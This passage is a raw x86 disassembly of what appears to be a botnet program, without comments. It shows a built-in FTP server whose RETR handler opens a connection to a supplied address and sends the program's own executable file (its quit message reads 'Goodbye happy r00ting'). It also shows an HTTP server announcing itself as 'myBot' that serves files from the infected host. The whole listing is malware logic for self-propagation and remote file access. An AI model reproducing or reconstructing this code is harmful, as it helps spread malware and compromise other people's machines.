					; sub_40F402+33Dj
		lea	eax, [ebp+Str1]
		push	offset aType_0	; "TYPE"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F789
		lea	eax, [ebp+var_338]
		push	offset aI	; "I"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F789
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40FA08
; ---------------------------------------------------------------------------

loc_40F789:				; CODE XREF: sub_40F402+361j
					; sub_40F402+378j
		lea	eax, [ebp+Str1]
		push	offset aPasv	; "PASV"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7D7
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+Str]
		rep movsd
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		movsw
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]

loc_40F7C7:				; CODE XREF: sub_40F402+414j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi

loc_40F7CF:				; CODE XREF: sub_40F402+4E7j
		mov	edi, [ebp+arg_0]
		jmp	loc_40FA0B
; ---------------------------------------------------------------------------

loc_40F7D7:				; CODE XREF: sub_40F402+39Cj
		lea	eax, [ebp+Str1]
		push	offset aList_0	; "LIST"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F818
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax		; Str
		movsb
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40F7C7
; ---------------------------------------------------------------------------

loc_40F818:				; CODE XREF: sub_40F402+3EAj
		lea	eax, [ebp+Str1]
		push	offset aPort	; "PORT"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F8EE
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_24	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax		; Src
		call	_sscanf
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_atoi
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax		; Str
		call	_atoi
		mov	[ebp+var_C], eax
		push	32h		; Size
		lea	eax, [ebp+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 34h
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax		; Dest
		call	_sprintf
		push	10h		; Radix
		lea	eax, [ebp+Dest]
		push	esi		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 1Ch
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_40F7CF
; ---------------------------------------------------------------------------

loc_40F8EE:				; CODE XREF: sub_40F402+42Bj
		lea	eax, [ebp+Str1]
		push	offset aRetr	; "RETR"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F9E9
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40FA39
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40F9DF
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferSta ; "ftp transfer started to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F96E
		push	esi		; int
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]	; int
		push	eax		; int
		lea	eax, [ebp+var_4C8]
		push	eax		; Str
		push	[ebp+var_6E0]	; int
		call	sub_409D34
		add	esp, 14h

loc_40F96E:				; CODE XREF: sub_40F402+547j
		call	sub_40FAB6
		cmp	eax, 1
		jnz	loc_40FA0B
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferCom ; "ftp transfer complete	to: %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40F9CA
		push	esi		; int
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]	; int
		push	eax		; int
		lea	eax, [ebp+var_4C8]
		push	eax		; Str
		push	[ebp+var_6E0]	; int
		call	sub_409D34
		add	esp, 14h

loc_40F9CA:				; CODE XREF: sub_40F402+5A3j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_415C3F
		inc	dword_4E5C18
		pop	ecx
		jmp	short loc_40FA0B
; ---------------------------------------------------------------------------

loc_40F9DF:				; CODE XREF: sub_40F402+523j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40FA08
; ---------------------------------------------------------------------------

loc_40F9E9:				; CODE XREF: sub_40F402+501j
		lea	eax, [ebp+Str1]
		push	offset aQuit_1	; "QUIT"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FA0B
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_40FA08:				; CODE XREF: sub_40F402+27Cj
					; sub_40F402+2A0j ...
		push	edi
		call	ebx	; send

loc_40FA0B:				; CODE XREF: sub_40F402+3D0j
					; sub_40F402+574j ...
		push	64h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch

loc_40FA1D:				; CODE XREF: sub_40F402+151j
					; sub_40F402+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40F521
		jmp	loc_40F4E6
; ---------------------------------------------------------------------------

loc_40FA2F:				; CODE XREF: sub_40F402+10Fj
		push	1
		pop	eax

loc_40FA32:				; CODE XREF: sub_40F402+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA39	proc near		; CODE XREF: sub_40F402+519p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4F550C	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_4F553C	; socket
		push	[ebp+arg_0]
		mov	dword_4E5E78, eax
		mov	[ebp+var_10], 2
		call	ds:dword_4F5528	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_4F552C	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4E5E78
		call	ds:dword_4F5530	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FAB1
		push	dword_4E5E78
		call	ds:dword_4F5538	; closesocket
		call	ds:dword_4F5508	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40FAB1:				; CODE XREF: sub_40FA39+60j
		push	1
		pop	eax
		leave
		retn
sub_40FA39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAB6	proc near		; CODE XREF: sub_40F402:loc_40F96Ep

DstBuf		= byte ptr -504h
Filename	= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		push	0
		call	ds:dword_4F5344	; GetModuleFileNameA
		lea	eax, [ebp+Filename]
		push	offset aRb	; "rb"
		push	eax		; Filename
		call	_fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FB4D
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FB31
		push	edi
		mov	edi, 400h

loc_40FAF9:				; CODE XREF: sub_40FAB6+78j
		push	esi		; File
		push	1		; Count
		lea	eax, [ebp+DstBuf]
		push	edi		; ElementSize
		push	eax		; DstBuf
		call	sub_41E3E0
		add	esp, 10h
		lea	eax, [ebp+DstBuf]
		push	0
		push	edi
		push	eax
		push	dword_4E5E78
		call	ds:dword_4F5540	; send
		push	1
		call	ds:dword_4F534C	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FAF9
		pop	edi

loc_40FB31:				; CODE XREF: sub_40FAB6+3Bj
		push	esi		; File
		call	_fclose
		pop	ecx
		push	dword_4E5E78
		call	ds:dword_4F5538	; closesocket
		call	ds:dword_4F5508	; WSACleanup
		push	1
		pop	eax

loc_40FB4D:				; CODE XREF: sub_40FAB6+35j
		pop	esi
		leave
		retn
sub_40FAB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB50	proc near		; DATA XREF: sub_401CC7+2274o
					; sub_40C12D+475o

Str		= byte ptr -28F0h
Str1		= byte ptr -18F0h
Dest		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
Dst		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_14], esi
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_25C]
		call	dword_4E30F8	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4E3178	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FF41
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_456024[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4E3124	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FF41
		push	7FFFFFFFh
		push	edi
		call	dword_4E3120	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FF41
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4E3194	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FF41
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40FC27:				; CODE XREF: sub_40FB50+3E7j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4E30E0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FF3C
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40FC5D:				; CODE XREF: sub_40FB50+3E1j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4E2FE4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40FF27
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FCDF
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4E318C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FF27
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FCB1
		lea	edx, [ebp+var_134]

loc_40FCA5:				; CODE XREF: sub_40FB50+15Fj
		cmp	[edx], eax
		jz	short loc_40FCB1
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FCA5

loc_40FCB1:				; CODE XREF: sub_40FB50+14Dj
					; sub_40FB50+157j
		cmp	ecx, ebx
		jnz	short loc_40FCCE
		cmp	ebx, 40h
		jnb	short loc_40FCCE
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40FCCE:				; CODE XREF: sub_40FB50+163j
					; sub_40FB50+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FF27
		mov	[ebp+var_8], eax
		jmp	loc_40FF27
; ---------------------------------------------------------------------------

loc_40FCDF:				; CODE XREF: sub_40FB50+126j
		mov	edi, 1000h
		lea	eax, [ebp+Str]
		push	edi		; Size
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+Str1]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+Str]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4E3110	; recv
		test	eax, eax
		jg	short loc_40FD72
		push	esi
		call	dword_4E3190	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FF27
		lea	eax, [ebp+var_134]

loc_40FD31:				; CODE XREF: sub_40FB50+1EBj
		cmp	[eax], esi
		jz	short loc_40FD42
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FD31
		jmp	loc_40FF27
; ---------------------------------------------------------------------------

loc_40FD42:				; CODE XREF: sub_40FB50+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FD66
		lea	eax, [ebp+ecx*4+var_134]

loc_40FD50:				; CODE XREF: sub_40FB50+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FD50

loc_40FD66:				; CODE XREF: sub_40FB50+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FF27
; ---------------------------------------------------------------------------

loc_40FD72:				; CODE XREF: sub_40FB50+1C8j
		xor	esi, esi
		push	104h		; Size
		lea	eax, [ebp+var_23C]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Str]
		mov	[ebp+arg_0], esi
		push	eax		; Str
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FF27

loc_40FDA0:				; CODE XREF: sub_40FB50+30Fj
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+Str]
		cmp	al, 0Ah
		mov	[ebp+esi+Str1],	al
		jnz	loc_40FE4B
		lea	eax, [ebp+Str1]
		push	offset aGet_0	; "GET "
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FE1F
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FE1F
		push	offset asc_44A7B8 ; " "
		push	offset asc_44A7BC ; " "
		lea	eax, [ebp+Str1]
		push	offset aGet_1	; "GET "
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strtok
		push	eax		; Source
		lea	eax, [ebp+var_23C]
		push	eax		; Dest
		call	_strcpy
		add	esp, 10h
		jmp	short loc_40FE36
; ---------------------------------------------------------------------------

loc_40FE1F:				; CODE XREF: sub_40FB50+27Ej
					; sub_40FB50+290j
		lea	eax, [ebp+Str1]
		push	offset asc_44A7C8 ; "\r\n"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FE6A

loc_40FE36:				; CODE XREF: sub_40FB50+2CDj
		push	edi		; Size
		lea	eax, [ebp+Str1]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40FE4B:				; CODE XREF: sub_40FB50+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+Str]
		push	eax		; Str
		inc	esi
		call	_strlen
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FDA0
		jmp	loc_40FF27
; ---------------------------------------------------------------------------

loc_40FE6A:				; CODE XREF: sub_40FB50+2E4j
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FEB4
		lea	eax, [ebp+var_134]

loc_40FE76:				; CODE XREF: sub_40FB50+333j
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE87
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FE76
		jmp	short loc_40FEB7
; ---------------------------------------------------------------------------

loc_40FE87:				; CODE XREF: sub_40FB50+32Bj
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FEAB
		lea	eax, [ebp+ecx*4+var_134]

loc_40FE95:				; CODE XREF: sub_40FB50+359j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE95

loc_40FEAB:				; CODE XREF: sub_40FB50+33Cj
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FEB7
; ---------------------------------------------------------------------------

loc_40FEB4:				; CODE XREF: sub_40FB50+31Ej
		mov	esi, [ebp+var_4]

loc_40FEB7:				; CODE XREF: sub_40FB50+335j
					; sub_40FB50+362j
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FF20
		lea	eax, [ebp+var_360]
		push	eax		; Str
		call	_strlen
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax		; Str
		call	_strlen
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FF20
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4E3194	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_410134
		add	esp, 14h
		jmp	short loc_40FF27
; ---------------------------------------------------------------------------

loc_40FF20:				; CODE XREF: sub_40FB50+36Fj
					; sub_40FB50+395j
		push	esi
		call	dword_4E3190	; closesocket

loc_40FF27:				; CODE XREF: sub_40FB50+11Dj
					; sub_40FB50+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FC5D
		jmp	loc_40FC27
; ---------------------------------------------------------------------------

loc_40FF3C:				; CODE XREF: sub_40FB50+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40FF41:				; CODE XREF: sub_40FB50+6Aj
					; sub_40FB50+92j ...
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44A7CC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF87
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_250]	; int
		push	eax		; int
		lea	eax, [ebp+var_5E8]
		push	eax		; Str
		push	[ebp+var_5EC]	; int
		call	sub_409D34
		add	esp, 14h

loc_40FF87:				; CODE XREF: sub_40FB50+412j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	edi
		call	dword_4E3190	; closesocket
		push	[ebp+var_254]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40FB50	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFB1	proc near		; DATA XREF: sub_410134+24Do

Str		= byte ptr -1654h
Source		= byte ptr -654h
Dest		= byte ptr -550h
var_44C		= dword	ptr -44Ch
Format		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax		; Format
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_410017
		push	offset aTextHtml ; "text/html"
		jmp	short loc_41001C
; ---------------------------------------------------------------------------

loc_410017:				; CODE XREF: sub_40FFB1+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_41001C:				; CODE XREF: sub_40FFB1+64j
		lea	eax, [ebp+var_9C]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	ds:dword_4F53D8	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	ds:dword_4F53D4	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410095
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		jmp	short loc_4100B6
; ---------------------------------------------------------------------------

loc_410095:				; CODE XREF: sub_40FFB1+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 28h

loc_4100B6:				; CODE XREF: sub_40FFB1+E2j
		lea	eax, [ebp+Str]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_44C]
		call	dword_4E3148	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_4100F6
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+var_44C]
		call	sub_410A71
		pop	ecx
		pop	ecx
		jmp	short loc_410113
; ---------------------------------------------------------------------------

loc_4100F6:				; CODE XREF: sub_40FFB1+12Dj
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	edi		; int
		push	[ebp+var_44C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	sub_4103EB
		add	esp, 10h

loc_410113:				; CODE XREF: sub_40FFB1+143j
		push	[ebp+var_44C]
		call	dword_4E3190	; closesocket
		push	[ebp+var_B4]
		call	sub_40BA72
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_40FFB1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410134	proc near		; CODE XREF: sub_40FB50+3C6p

Source		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
Str		= byte ptr -314h
var_211		= byte ptr -211h
Dst		= byte ptr -210h
Dest		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], edi
		call	_memset
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_41016A
		push	eax
		push	offset aS_25	; "\\%s"
		jmp	short loc_410173
; ---------------------------------------------------------------------------

loc_41016A:				; CODE XREF: sub_410134+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_26	; "%s"

loc_410173:				; CODE XREF: sub_410134+34j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		xor	esi, esi
		xor	ebx, ebx
		push	eax		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_41020E
		mov	[ebp+arg_8], 2

loc_41019E:				; CODE XREF: sub_410134+D8j
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_4101DE
		cmp	[ebp+esi+Dest],	25h
		jnz	short loc_4101DE
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_4101DE
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_4101DE
		inc	esi
		mov	[ebp+ebx+Dst], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_4101F8
; ---------------------------------------------------------------------------

loc_4101DE:				; CODE XREF: sub_410134+7Aj
					; sub_410134+84j ...
		mov	al, [ebp+esi+Dest]
		cmp	al, 2Fh
		jnz	short loc_4101EE
		push	5Ch
		pop	eax
		jmp	short loc_4101F1
; ---------------------------------------------------------------------------

loc_4101EE:				; CODE XREF: sub_410134+B3j
		movsx	eax, al

loc_4101F1:				; CODE XREF: sub_410134+B8j
		mov	[ebp+ebx+Dst], al

loc_4101F8:				; CODE XREF: sub_410134+A8j
		lea	eax, [ebp+Dest]
		inc	esi
		inc	[ebp+arg_8]
		push	eax		; Str
		inc	ebx
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_41019E

loc_41020E:				; CODE XREF: sub_410134+61j
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Str]
		push	[ebp+arg_4]
		push	offset aSS_4	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	offset asc_44AA18 ; "\n"
		push	eax		; Str
		call	_strtok
		add	esp, 18h
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_4F536C	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_41025F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410262
		push	[ebp+arg_0]
		jmp	loc_4102E2
; ---------------------------------------------------------------------------

loc_41025F:				; CODE XREF: sub_410134+11Cj
		mov	[ebp+var_4], esi

loc_410262:				; CODE XREF: sub_410134+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_41026F
		mov	[ebp+var_4], esi

loc_41026F:				; CODE XREF: sub_410134+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
